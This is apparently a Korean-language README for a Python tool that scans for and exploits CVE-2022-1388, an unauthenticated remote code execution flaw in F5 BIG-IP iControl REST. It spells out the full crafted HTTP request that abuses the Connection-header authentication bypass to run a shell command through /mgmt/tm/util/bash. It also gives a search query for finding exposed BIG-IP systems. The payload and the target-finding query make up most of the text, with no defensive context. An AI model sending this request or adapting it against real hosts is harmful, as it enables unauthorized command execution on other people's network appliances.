amirhoseintangsirinet/cve-2022-1388-scannerCVE-2022-1388에 대한 Python 스캐너로, F5 BIG-IP iControl REST의 인증되지 않은 원격 코드 실행(RCE) 취약점입니다. 대상 노출을 악용하고 확인하기 위해 조작된 HTTP 요청을 전송합니다.
BIG-IP iControl REST 취약점 CVE-2022-1388 스캐너
# pip install -r requirements.txt
# pytohn3 CVE-2022-1388-Scanner.py
POST /mgmt/tm/util/bash HTTP/1.1
Host: REDACTED:8083
Content-Length: 45
Connection: Keep-Alive, X-F5-Auth-Token
Cache-Control: max-age=0
X-F5-Auth-Token: vvs
Authorization: Basic YWRtaW46
{
"command":"run",
"utilCmdArgs":"-c id"
}
http.title:"BIG-IP®-+Redirect" +"Server"